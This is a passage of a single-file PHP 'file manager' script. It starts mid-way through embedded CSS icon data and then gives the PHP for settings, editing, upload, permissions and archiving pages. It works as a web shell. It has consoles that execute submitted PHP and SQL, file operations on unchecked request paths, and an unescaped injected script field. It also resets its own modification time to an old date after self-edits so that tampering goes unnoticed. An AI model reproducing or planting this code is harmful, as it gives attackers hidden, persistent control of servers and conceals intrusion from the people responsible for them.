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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
